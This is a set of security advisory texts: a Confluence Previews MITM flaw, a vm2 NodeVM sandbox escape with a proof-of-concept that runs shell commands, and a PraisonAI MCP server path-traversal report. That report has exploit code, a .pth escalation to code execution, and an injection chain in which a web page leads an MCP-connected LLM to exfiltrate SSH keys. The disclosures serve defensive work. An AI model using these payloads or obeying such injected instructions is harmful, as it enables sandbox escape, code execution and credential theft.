  "details": "There was a man-in-the-middle (MITM) vulnerability present in the Confluence Previews plugin in Confluence Server and Confluence Data Center. This plugin was used to facilitate communication with the Atlassian Companion application. The Confluence Previews plugin in Confluence Server and Confluence Data Center communicated with the Companion application via the atlassian-domain-for-localhost-connections-only.com domain name, the DNS A record of which points at 127.0.0.1. Additionally, a signed certificate for the domain was publicly distributed with the Companion application. An attacker in the position to control DNS resolution of their victim could carry out a man-in-the-middle (MITM) attack between Confluence Server (or Confluence Data Center) and the atlassian-domain-for-localhost-connections-only.com domain intended to be used with the Companion application. This certificate has been revoked, however, usage of the atlassian-domain-for-localhost-connections-only.com domain name was still present in Confluence Server and Confluence Data Center. An attacker could perform the described attack by denying their victim access to certificate revocation information, and carry out a man-in-the-middle (MITM) attack to observe files being edited using the Companion application and/or modify them, and access some limited user information.",

  "details": "## Summary\n\nThe `NodeVM` constructor computes `hasRealRequireConfig` using `typeof requireOpts === \u0027object\u0027 \u0026\u0026 requireOpts !== null`, so `require: []` bypasses the guard intended to reject `nesting` without an explicit require configuration. `makeResolverFromLegacyOptions()` then destructures the array to undefined option fields and returns a resolver containing only `NESTING_OVERRIDE.vm2`. Any attacker whose JavaScript is executed by a downstream `NodeVM` configured with `{nesting: true, require: []}` can load the host `vm2` module, create an inner `NodeVM` with an attacker-selected builtin allowlist, and execute commands as the host process. No equivalent plain-object validation exists in `makeResolverFromLegacyOptions()`.\n\nArray is converted into the vm2-only resolver:\nhttps://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/resolver-compat.js#L205-L226\n\nNesting loader returns the host VM constructors:\nhttps://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L640-L645\n\n## Proof of Concept\n\nPreconditions:\n\n- The host creates `NodeVM` with truthy `nesting` and array-shaped `require`.\n- The attacker can supply JavaScript executed by that `NodeVM`.\n\n```javascript\n\u0027use strict\u0027;\n\nconst {NodeVM} = require(\u0027./index.js\u0027);\n\nconst outer = new NodeVM({nesting: true, require: []});\nconst result = outer.run(`\n\tconst {NodeVM} = require(\u0027vm2\u0027);\n\tconst inner = new NodeVM({require: {builtin: [\u0027child_process\u0027]}});\n\tmodule.exports = inner.run(\n\t\t\"module.exports = require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString()\"\n\t);\n`);\n\nconsole.log(result);\n```\n\n```text\nuid=1000(lohar) gid=1000(lohar) groups=1000(lohar)\n```\n\nThe `hasRealRequireConfig` guard fails open because it returns `true` for arrays, although arrays are not `VMRequire` configuration objects. `makeResolverFromLegacyOptions()` applies object destructuring to the array, obtains undefined `builtin` and `external` values, merges `NESTING_OVERRIDE`, and returns before any external-module control is relevant. Outer builtin restrictions do not constrain the attacker-created inner `NodeVM`, whose `require` configuration is selected inside the sandbox.\n\nFailed shape check:\nhttps://github.com/patriksimek/vm2/blob/54b54b74a382577f0bcd0538c5bf99acdcd7f53b/lib/nodevm.js#L304-L307\n\n## Impact\n\nAn attacker can execute arbitrary commands with the host Node.js process privileges, including reading secrets, modifying files, and accessing the host network. GHSA-m4wx-m65x-ghrr covers the same nesting primitive but does not cover array-shaped `require` values and incorrectly identifies 3.11.4 as patched. \n\n\u003e Exploitation is limited to downstream applications that enable `nesting` and pass the malformed array configuration.",

This link is maintained to preserve external references.\n\n## Original Description\nvm2 is a sandbox for running untrusted Node.js code. In versions \u003e= 3.11.4 and \u003c= 3.11.6, the NodeVM constructor computes `hasRealRequireConfig` with `typeof requireOpts === \u0027object\u0027 \u0026\u0026 requireOpts !== null`, so an array-shaped `require` value (for example `require: []`) satisfies the guard that is meant to reject nesting without an explicit require configuration. `makeResolverFromLegacyOptions()` then destructures the array into undefined option fields and returns a resolver containing only `NESTING_OVERRIDE.vm2`. As a result, an attacker who can supply JavaScript executed by a NodeVM configured with truthy `nesting` and an array-shaped `require` (e.g. `new NodeVM({nesting: true, require: []})`) can require the host `vm2` module, create an inner NodeVM with an attacker-chosen builtin allowlist (such as `child_process`), and execute arbitrary commands with the privileges of the host Node.js process, escaping the sandbox. Outer builtin restrictions do not constrain the attacker-created inner NodeVM. This issue is fixed in vm2 3.11.7.",

  "details": "## Summary\n\nPraisonAI\u0027s MCP (Model Context Protocol) server (`praisonai mcp serve`) registers four file-handling tools by default \u2014 `praisonai.rules.create`, `praisonai.rules.show`, `praisonai.rules.delete`, and `praisonai.workflow.show`. Each accepts a path or filename string from MCP `tools/call` arguments and joins it onto `~/.praison/rules/` (or, for `workflow.show`, accepts an absolute path) **with no containment check**. The JSON-RPC dispatcher passes `params[\"arguments\"]` blind to each handler via `**kwargs` without validating against the advertised input schema.\n\nBy setting `rule_name=\"../../\u003csome-path\u003e\"` an attacker walks out of the rules directory and writes any file the running user can write. Dropping a Python `.pth` file into the user site-packages directory escalates this primitive to **arbitrary code execution in any subsequent Python process the user spawns** \u2014 the next `praisonai` CLI invocation, an IDE script run, the user\u0027s `python` REPL, or any background Python service. The same primitive is reachable from:\n\n- An MCP-connected LLM (Claude Desktop, Cursor, Continue.dev, Claude Code) whose context is poisoned by attacker-controlled web content / documents / emails \u2014 **no operator click required beyond ordinary \"ask the LLM to summarise this page\" usage**.\n- `praisonai mcp serve --transport http-stream` with no `--api-key` (default), reachable from any local process / DNS-rebound browser tab / container neighbour sharing loopback.\n- Stdio MCP from any prompt-injection vector that reaches the connected LLM.\n\nNo operator misconfiguration is required. No env var, flag, or config switch disables the vulnerable handlers.\n\n---\n\n## Details\n\n### 1. The dispatcher accepts unvalidated kwargs\n\n`src/praisonai/praisonai/mcp_server/server.py:281-298`:\n\n```python\nasync def _handle_tools_call(self, params: Dict[str, Any]) -\u003e Dict[str, Any]:\n    \"\"\"Handle tools/call request.\"\"\"\n    tool_name = params.get(\"name\")\n    arguments = params.get(\"arguments\", {})\n\n    if not tool_name:\n        raise ValueError(\"Tool name required\")\n\n    tool = self._tool_registry.get(tool_name)\n    if tool is None:\n        raise ValueError(f\"Tool not found: {tool_name}\")\n\n    # Execute tool\n    try:\n        if asyncio.iscoroutinefunction(tool.handler):\n            result = await tool.handler(**arguments)        # \u2190 no schema enforcement\n        else:\n            result = tool.handler(**arguments)\n```\n\n`tool.input_schema` is built reflectively from the handler signature in `registry.py:320-376` and surfaced in `tools/list` responses \u2014 but it is **never enforced** before dispatch. Whatever JSON shape the MCP client (or an LLM under prompt injection) sends becomes a `**kwargs` call.\n\n### 2. The four registered handlers have no containment\n\n`src/praisonai/praisonai/mcp_server/adapters/cli_tools.py`:\n\n```python\n# line 116-128 \u2014 rules.create \u2014 primary write primitive\n@register_tool(\"praisonai.rules.create\")\ndef rules_create(rule_name: str, content: str) -\u003e str:\n    \"\"\"Create a new rule.\"\"\"\n    try:\n        import os\n        rules_dir = os.path.expanduser(\"~/.praison/rules\")\n        os.makedirs(rules_dir, exist_ok=True)\n        rule_path = os.path.join(rules_dir, rule_name)        # \u2190 no realpath/containment\n        with open(rule_path, \u0027w\u0027) as f:\n            f.write(content)\n        return f\"Rule created: {rule_name}\"\n    except Exception as e:\n        return f\"Error: {e}\"\n\n# line 102-114 \u2014 rules.show \u2014 read primitive (f-string interpolation, same vuln class)\n@register_tool(\"praisonai.rules.show\")\ndef rules_show(rule_name: str) -\u003e str:\n    \"\"\"Show a specific rule.\"\"\"\n    try:\n        import os\n        rule_path = os.path.expanduser(f\"~/.praison/rules/{rule_name}\")  # \u2190 `..` works\n        if not os.path.exists(rule_path):\n            return f\"Rule not found: {rule_name}\"\n        with open(rule_path, \u0027r\u0027) as f:\n            content = f.read()\n        return content\n    except Exception as e:\n        return f\"Error: {e}\"\n\n# line 130-141 \u2014 rules.delete \u2014 delete primitive\n@register_tool(\"praisonai.rules.delete\")\ndef rules_delete(rule_name: str) -\u003e str:\n    \"\"\"Delete a rule.\"\"\"\n    try:\n        import os\n        rule_path = os.path.expanduser(f\"~/.praison/rules/{rule_name}\")  # \u2190 same pattern\n        if not os.path.exists(rule_path):\n            return f\"Rule not found: {rule_name}\"\n        os.remove(rule_path)\n        return f\"Rule deleted: {rule_name}\"\n    except Exception as e:\n        return f\"Error: {e}\"\n\n# line 63-73 \u2014 workflow.show \u2014 absolute-path read primitive (no traversal needed)\n@register_tool(\"praisonai.workflow.show\")\ndef workflow_show(file_path: str) -\u003e str:\n    \"\"\"Show workflow configuration.\"\"\"\n    try:\n        with open(file_path, \u0027r\u0027) as f:                       # \u2190 absolute path, no validation\n            content = f.read()\n        return content\n    except FileNotFoundError:\n        return f\"File not found: {file_path}\"\n    except Exception as e:\n        return f\"Error: {e}\"\n```\n\n`os.path.join(rules_dir, \"../../somewhere\")` and `os.path.expanduser(f\"~/.praison/rules/../../somewhere\")` both resolve `..` segments at `open()` time, so the on-disk effect escapes the rules directory. `workflow.show` does not need traversal at all \u2014 it `open()`s an absolute path the LLM supplied.\n\n### 3. Default registration ships these unconditionally\n\n`src/praisonai/praisonai/mcp_server/cli.py:216-219` (`cmd_serve`):\n\n```python\nfrom .adapters import register_all\nregister_all()\n```\n\n`src/praisonai/praisonai/mcp_server/adapters/__init__.py:33-39`:\n\n```python\ndef _register_all():\n    register_all_tools()\n    register_extended_capability_tools()\n    register_cli_tools()              # \u2190 rules.create / rules.show / rules.delete / workflow.show\n    register_mcp_resources()\n    register_mcp_prompts()\n```\n\nThere is no flag, env var, or config switch that disables the file primitives. `praisonai mcp serve` registers them on every startup.\n\n### 4. HTTP-stream transport defaults to no authentication\n\n`src/praisonai/praisonai/mcp_server/cli.py:184`:\n\n```python\nparser.add_argument(\"--api-key\", default=None)\n```\n\nThe auth check at `mcp_server/transports/http_stream.py:191-198` is wrapped in `if self.api_key:` \u2014 `None` skips the entire block. Default config: `praisonai mcp serve --transport http-stream` binds `127.0.0.1:8080/mcp` unauthenticated.\n\n### 5. Code-execution escalation via Python `.pth`\n\nCPython\u0027s `Lib/site.py` (`addsitedir` / `addpackage`) imports lines starting with `import` from every `.pth` file present in `site.getsitepackages()` and `site.getusersitepackages()` at every interpreter startup. The user site-packages directory is always writable without elevation. A single `.pth` file containing `import os; os.system(\"...\")` turns the path-traversal write primitive into RCE on the next Python interpreter the user starts \u2014 including the user\u0027s own `python` REPL, the next `praisonai` CLI command, IDE script launchers, and any background Python service.\n\n---\n\n## Suggested fix\n\n1. **Containment in every cli_tools handler.** Replace bare `os.path.join` / f-string interpolation with explicit prefix validation:\n\n   ```python\n   import re\n   from pathlib import Path\n\n   if not re.fullmatch(r\"[A-Za-z0-9._-]+\", rule_name):\n       return \"Error: invalid rule name\"\n   rules_dir = Path(os.path.expanduser(\"~/.praison/rules\")).resolve()\n   rule_path = (rules_dir / rule_name).resolve()\n   if not str(rule_path).startswith(str(rules_dir) + os.sep):\n       return \"Error: rule_name escapes rules directory\"\n   ```\n\n   Apply identically to `praisonai.rules.create`, `rules.show`, `rules.delete`, `workflow.validate`. For `workflow.show`, restrict `file_path` to a designated workflow directory and reject absolute paths or any value containing `..`.\n\n2. **Schema enforcement in the dispatcher.** Validate `params[\"arguments\"]` against `tool.input_schema` (a JSON-Schema validator such as `jsonschema`) before `tool.handler(**arguments)`. Reject unknown properties, type mismatches, missing required fields. Return JSON-RPC `-32602 Invalid params`.\n\n3. **Reduce the default tool surface.** Move `rules.*` and `workflow.show` behind an explicit `--enable-fs-tools` opt-in. The `register_all` helper should only register read-only safe tools by default.\n\n4. **Require auth on non-loopback HTTP-stream binds.** `praisonai mcp serve --transport http-stream` should refuse to start with `host != 127.0.0.1` if `--api-key` is unset (mirror the gateway\u0027s `assert_external_bind_safe` from `src/praisonai/praisonai/gateway/auth.py:23-54`).\n\n---\n\n## PoC\n\nTested against the PraisonAI repository at HEAD as of 2026-05-02. Verified on Python 3.14 / Windows 11 with both packages installed in editable mode. Each invocation of the RCE chain produced a fresh PID for the spawned Python process \u2014 confirmed across four successive runs (PIDs 8172, 23412, 10016, 17912) \u2014 proving the payload genuinely runs in a new interpreter, not residual state.\n\n### Reproduction prerequisites\n\n- Python \u2265 3.10 (3.14 used during verification).\n- A clean clone of the PraisonAI repository:\n  ```sh\n  git clone https://github.com/MervinPraison/PraisonAI.git\n  cd PraisonAI\n  ```\n- Install both packages in editable mode:\n  ```sh\n  pip install -e src/praisonai-agents -e src/praisonai\n  ```\n- For PoC #3 (HTTP-stream variant): `pip install uvicorn starlette` (already pulled in by `praisonai[api]`).\n- All other PoCs run against the package source alone \u2014 no network server required.\n\n### PoC 1 \u2014 In-process file primitives via MCP `tools/call`\n\nConfirms arbitrary file READ, path-traversal WRITE, and path-traversal READ-BACK without spinning up a network server. Equivalent to electerm\u0027s parser dry-run; runs against the package source alone.\n\n```sh\ncat \u003e /tmp/poc01_primitives.py \u003c\u003c\u0027EOF\u0027\n\"\"\"PoC #1 \u2014 File primitives via MCP tools/call (in-process)\"\"\"\nimport asyncio, json, os\nfrom praisonai.mcp_server.server import MCPServer\nfrom praisonai.mcp_server.adapters import register_all\n\nregister_all()\nserver = MCPServer()\n\nasync def call(method, params, msg_id=1):\n    msg = {\"jsonrpc\": \"2.0\", \"id\": msg_id, \"method\": method, \"params\": params}\n    return await server.handle_message(msg)\n\nasync def main():\n    await call(\"initialize\", {\n        \"protocolVersion\": \"2025-11-25\",\n        \"clientInfo\": {\"name\": \"poc\", \"version\": \"0\"},\n        \"capabilities\": {},\n    })\n\n    # \u2500\u2500 A1.

The .pth lands in user site-packages.\n#\n#         The next time the user runs `praisonai`, opens any IDE Python\n#         file, or starts the Python REPL, their SSH private key is\n#         exfiltrated.\n```\n\nThe user cannot tell that the page is malicious \u2014 the injection is in an HTML comment. Claude Desktop\u0027s standard \"approve tool\" prompt is the only friction; many MCP client configurations auto-approve `praisonai.rules.create` since it sounds benign.\n\n---\n\n## Impact\n\n- **Arbitrary code execution** on the user\u0027s machine, with the user\u0027s privileges, on any subsequent Python process they start. The `.pth` payload mechanism makes execution reliable and decoupled in time from the write \u2014 the user is not necessarily running `praisonai` when the payload fires; the next `python` invocation suffices.\n- **Arbitrary file read** of any file the user can read \u2014 including `~/.ssh/`, `~/.aws/credentials`, `~/.config/praisonai/*.yaml`, environment files, credential stores, source code, browser profiles, IDE workspace state.\n- **Arbitrary file write** anywhere the user can write \u2014 plant persistence (`~/.bashrc`, `~/.profile`, Windows Startup folder, `~/Library/LaunchAgents/`, cron, systemd user units, `.ssh/authorized_keys`).\n- **Arbitrary file delete** \u2014 destructive / ransomware-style chains.\n- **MCP credential exfiltration**: read the user\u0027s MCP client config (`~/Library/Application Support/Claude/claude_desktop_config.json`, Cursor\u0027s MCP config, Continue.dev\u0027s `.continue/`) which lists every other MCP server the user has wired up \u2014 with their API keys / OAuth tokens / credentials. Pivot to those servers.\n- **LLM provider credential exfiltration**: read `~/.config/claude-code/`, OpenAI/Anthropic/Google API keys from environment files and shell rc files.\n- **Default `praisonai mcp serve` configuration** registers the four vulnerable tools unconditionally; no operator misconfiguration is required.\n- The HTTP-stream transport binds to `127.0.0.1` by default but uses the same dispatcher \u2014 same-host attackers (other local processes, DNS-rebinding from a browser tab, container neighbours sharing loopback) reach it without authentication.\n- Indirect prompt-injection delivery via web content / documents / emails turns this into a network-borne RCE for any user with an MCP-connected LLM and the praisonai MCP server installed \u2014 no link click, no tool approval prompt (depending on MCP client config), no flag flip required beyond the user\u0027s normal \"ask my LLM about this page\" workflow.",
